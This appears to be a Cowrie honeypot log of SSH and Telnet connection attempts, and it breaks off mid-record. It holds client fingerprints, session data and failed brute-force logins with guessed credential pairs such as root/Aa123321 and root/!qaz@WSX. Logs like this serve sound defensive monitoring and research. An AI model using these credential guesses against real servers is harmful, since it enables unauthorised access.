{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":43392,"dst_ip":"159.203.135.109","dst_port":22,"session":"788269006117","protocol":"ssh","message":"New connection: 47.237.167.49:43392 (159.203.135.109:22) [session: 788269006117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:49.202296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:49.870362Z","src_ip":"47.237.167.49","session":"788269006117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:49.874336Z","src_ip":"47.237.167.49","session":"788269006117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34262,"dst_ip":"10.17.0.5","dst_port":23,"session":"dae1aa28e823","protocol":"telnet","message":"New connection: 152.42.224.71:34262 (10.17.0.5:23) [session: dae1aa28e823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:49.959132Z"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:51.446946Z","src_ip":"47.237.167.49","session":"788269006117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:52.680687Z","src_ip":"47.237.167.49","session":"788269006117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45020,"dst_ip":"159.203.135.109","dst_port":22,"session":"270ace960c0b","protocol":"ssh","message":"New connection: 31.40.204.166:45020 (159.203.135.109:22) [session: 270ace960c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:53.584513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:53.597242Z","src_ip":"31.40.204.166","session":"270ace960c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:53.716401Z","src_ip":"31.40.204.166","session":"270ace960c0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:54.597197Z","src_ip":"31.40.204.166","session":"270ace960c0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":50486,"dst_ip":"159.203.135.109","dst_port":22,"session":"7677eef0723b","protocol":"ssh","message":"New connection: 103.75.183.219:50486 (159.203.135.109:22) [session: 7677eef0723b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:55.214206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:55.218648Z","src_ip":"103.75.183.219","session":"7677eef0723b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:55.467708Z","src_ip":"103.75.183.219","session":"7677eef0723b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:55.737683Z","src_ip":"31.40.204.166","session":"270ace960c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.619760513305664,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:55.811594Z","src_ip":"152.42.224.71","session":"9325238ac2ce","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"crjhgbjy","message":"login attempt [root/crjhgbjy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:56.205856Z","src_ip":"103.75.183.219","session":"7677eef0723b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.01147437095642,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:57.061706Z","src_ip":"152.42.224.71","session":"f85568a0d303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:57.456212Z","src_ip":"103.75.183.219","session":"7677eef0723b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56336,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f9199695800","protocol":"telnet","message":"New connection: 152.42.224.71:56336 (10.17.0.5:23) [session: 1f9199695800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:58.566034Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52857,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a9806b62950","protocol":"ssh","message":"New connection: 152.42.212.128:52857 (159.203.135.109:22) [session: 0a9806b62950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:02.903668Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:02.909572Z","src_ip":"152.42.212.128","session":"0a9806b62950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:02.913989Z","src_ip":"152.42.212.128","session":"0a9806b62950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60746,"dst_ip":"159.203.135.109","dst_port":22,"session":"522017860dbc","protocol":"ssh","message":"New connection: 31.40.204.166:60746 (159.203.135.109:22) [session: 522017860dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:05.682582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:05.687972Z","src_ip":"31.40.204.166","session":"522017860dbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:05.809968Z","src_ip":"31.40.204.166","session":"522017860dbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:06.417718Z","src_ip":"31.40.204.166","session":"522017860dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:07.599588Z","src_ip":"31.40.204.166","session":"522017860dbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39774,"dst_ip":"10.17.0.5","dst_port":23,"session":"12b9355546ec","protocol":"telnet","message":"New connection: 152.42.224.71:39774 (10.17.0.5:23) [session: 12b9355546ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:09.748348Z"}
{"eventid":"cowrie.session.closed","duration":108.85729765892029,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:09.939126Z","src_ip":"152.42.224.71","session":"e69a6009aba4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.098511934280396,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:15.057541Z","src_ip":"152.42.224.71","session":"dae1aa28e823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46798,"dst_ip":"10.17.0.5","dst_port":23,"session":"c321ae7d23b9","protocol":"telnet","message":"New connection: 152.42.224.71:46798 (10.17.0.5:23) [session: c321ae7d23b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:16.929221Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46806,"dst_ip":"10.17.0.5","dst_port":23,"session":"30d14d839140","protocol":"telnet","message":"New connection: 152.42.224.71:46806 (10.17.0.5:23) [session: 30d14d839140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:17.914633Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51356,"dst_ip":"159.203.135.109","dst_port":22,"session":"024854a2296d","protocol":"ssh","message":"New connection: 31.40.204.166:51356 (159.203.135.109:22) [session: 024854a2296d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:18.181397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:18.187629Z","src_ip":"31.40.204.166","session":"024854a2296d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:18.382193Z","src_ip":"31.40.204.166","session":"024854a2296d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:18.916562Z","src_ip":"31.40.204.166","session":"024854a2296d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:20.308690Z","src_ip":"31.40.204.166","session":"024854a2296d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46810,"dst_ip":"10.17.0.5","dst_port":23,"session":"68172ed694a5","protocol":"telnet","message":"New connection: 152.42.224.71:46810 (10.17.0.5:23) [session: 68172ed694a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:24.286506Z"}
{"eventid":"cowrie.session.closed","duration":56.6135470867157,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:24.765474Z","src_ip":"152.42.224.71","session":"2db7e86e0b7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.5475857257843,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:29.295816Z","src_ip":"152.42.224.71","session":"12b9355546ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54150,"dst_ip":"159.203.135.109","dst_port":22,"session":"604b9961eb3b","protocol":"ssh","message":"New connection: 31.40.204.166:54150 (159.203.135.109:22) [session: 604b9961eb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:30.480621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:30.485270Z","src_ip":"31.40.204.166","session":"604b9961eb3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.39384865760803,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:30.537683Z","src_ip":"152.42.224.71","session":"0c7b8bf9128d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:30.612503Z","src_ip":"31.40.204.166","session":"604b9961eb3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51808,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cb58ae0e846","protocol":"telnet","message":"New connection: 152.42.224.71:51808 (10.17.0.5:23) [session: 8cb58ae0e846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:30.629208Z"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:31.226315Z","src_ip":"31.40.204.166","session":"604b9961eb3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:32.403074Z","src_ip":"31.40.204.166","session":"604b9961eb3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.887908935546875,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:34.596033Z","src_ip":"152.42.224.71","session":"e2dd0e242350","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00304079055786,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:36.231730Z","src_ip":"152.42.224.71","session":"8d345bc5a7c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.584381341934204,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:38.498887Z","src_ip":"152.42.224.71","session":"30d14d839140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":57838,"dst_ip":"10.17.0.5","dst_port":22,"session":"a04490f0b4a5","protocol":"ssh","message":"New connection: 103.173.227.57:57838 (10.17.0.5:22) [session: a04490f0b4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:41.096434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:16:41.101694Z","src_ip":"103.173.227.57","session":"a04490f0b4a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sh